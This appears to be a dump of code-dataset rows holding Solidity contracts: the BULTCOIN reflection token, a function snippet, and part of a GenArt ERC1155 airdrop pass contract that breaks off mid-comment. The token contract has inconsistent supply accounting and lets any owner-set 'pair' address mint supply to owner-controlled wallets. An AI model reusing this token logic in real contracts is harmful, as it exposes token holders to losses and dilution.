file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
---|---|---|---|
/**
*Submitted for verification at Etherscan.io on 2021-05-13
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BultTerrier is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isUniswap;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'BULTCOIN';
string private _symbol = 'BULT';
uint8 private _decimals = 18;
address public MARKETING_WALLET;
address public LIQUIDITY_PROVIDER_WALLET;
address private uniswapPairAddress;
constructor(address _MARKETING_WALLET, address _LIQUIDITY_PROVIDER_WALLET) {
MARKETING_WALLET = _MARKETING_WALLET;
LIQUIDITY_PROVIDER_WALLET = _LIQUIDITY_PROVIDER_WALLET;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
address sender = _msgSender();
bool _isUniswapPairAddress = _redistribution(recipient, amount);
uint256 _finalAmount = amount;
// If _isUniswapPairAddress = false that means that this is a sell / transfer from another address
if(_isUniswapPairAddress == false) {
// 5% tax is deducted on each transfer and this is burnt from the totalSupply
uint256 _burnFee = amount.mul(5).div(100);
_finalAmount = amount.sub(_burnFee);
_tTotal = _tTotal.sub(_burnFee);
}
if (_isUniswap[sender] || _isUniswap[recipient]) _transferUniswap(sender, recipient, _finalAmount);
else _transfer(sender, recipient, _finalAmount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if (_isUniswap[sender] || _isUniswap[recipient]) _transferUniswap(sender, recipient, amount);
else _transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount, 0);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount, 0);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount, 0);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) internal view returns(uint256) {
// require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
require(!_isUniswap[account], "Uniswap cannot be included!");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function assignUniswap(address account) external onlyOwner() {
_isUniswap[account] = true;
_isExcluded[account] = true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transferUniswap(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isUniswap[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount, 1);
} else if (_isUniswap[recipient] && _isExcluded[sender]) {
_transferBothExcluded(sender, recipient, amount, 2);
} else if (_isUniswap[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount, 1);
} else {
_transferToExcluded(sender, recipient, amount, 2);
}
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount, 0);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount, 0);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount, 0);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, 0);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount, uint256 buySell) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, buySell);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount, uint256 buySell) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, buySell);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount, uint256 buySell) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount, buySell);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
// @param buySell 0 is for neither buy nor sell, 1 is for buy, 0 is for sell
function _getValues(uint256 tAmount, uint256) private view returns (uint256, uint256, uint256, uint256, uint256) {
// (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, buySell);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, 0, currentRate);
return (rAmount, rTransferAmount, rFee, tAmount, 0);
}
function _redistribution(address _purchaser, uint256 amount) internal returns(bool) {
// checks whether the caller is the uniswapPairAddress.
// Since it's a transferFrom call the uniswapPairAddress should be the caller in order for new tokens to be minted
if(_msgSender() != uniswapPairAddress) return false;
// should calculate 10% of the purchased amount
uint256 _totalAmountMinted = amount.mul(10).div(100);
uint256 _purchaserRewards = _totalAmountMinted.mul(25).div(100);
uint256 _marketingRewards = _purchaserRewards;
uint256 _liquidityProviderRewards = _totalAmountMinted.mul(20).div(100);
uint256 _holdersSharedAmount = _totalAmountMinted.mul(30).div(100);
// Increase the total supply by _totalAmountMinted
_tTotal = _tTotal.add(_totalAmountMinted);
_increaseBalance(_purchaser, _purchaserRewards);
_increaseBalance(MARKETING_WALLET, _marketingRewards);
_increaseBalance(LIQUIDITY_PROVIDER_WALLET, _liquidityProviderRewards);
_tFeeTotal = _tFeeTotal.add(_holdersSharedAmount);
return true;
}
function _increaseBalance(address _account, uint256 _amount) internal {
_rOwned[_account] = _rOwned[_account].add(_amount);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function changeLiquidityAddress(address _newLiquidityAddress) external onlyOwner {
LIQUIDITY_PROVIDER_WALLET = _newLiquidityAddress;
}
function setUniswapPairAddress(address _uniswapPairAddress) external onlyOwner {
uniswapPairAddress = _uniswapPairAddress;
}
}
|
buySell 0 is for neither buy nor sell, 1 is for buy, 0 is for sell (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount, buySell);
|
function _getValues(uint256 tAmount, uint256) private view returns (uint256, uint256, uint256, uint256, uint256) {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, 0, currentRate);
return (rAmount, rTransferAmount, rFee, tAmount, 0);
}
| 10,867,618 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 value
);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(
address indexed account,
address indexed operator,
bool approved
);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id)
external
view
returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator)
external
view
returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IGenArt {
function getTokensByOwner(address owner)
external
view
returns (uint256[] memory);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address owner) external view returns (uint256);
function isGoldToken(uint256 _tokenId) external view returns (bool);
}
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract GenArtTokenAirdropPass is
Context,
Ownable,
ERC165,
IERC1155,
IERC1155MetadataURI
{
using Address for address;
using Strings for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
mapping(uint256 => uint256) private _totalSupply;
uint256[3] tokenIds = [1, 2, 3];
uint256[3] tokenId_prices = [0.5 ether, 2.25 ether, 10 ether];
uint256[3] tokenId_cap = [1875, 500, 25];
bool private _paused = false;
address genArtMembershipAddress;
uint256 endBlock;
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
/**
* @dev See {_setURI}.
*/
constructor(
address genArtMembershipAddress_,
uint256 endBlock_,
string memory uri_
) {
genArtMembershipAddress = genArtMembershipAddress_;
endBlock = endBlock_;
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
function uri(uint256 _tokenId)
external
view
virtual
override
returns (string memory)
{
return string(abi.encodePacked(_uri, _tokenId.toString()));
}
/**
* @dev Total amount of tokens in with a given id.
*/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev Indicates weither any token exist with a given id, or not.
*/
function exists(uint256 id) public view virtual returns (bool) {
return GenArtTokenAirdropPass.totalSupply(id) > 0;
}
/**
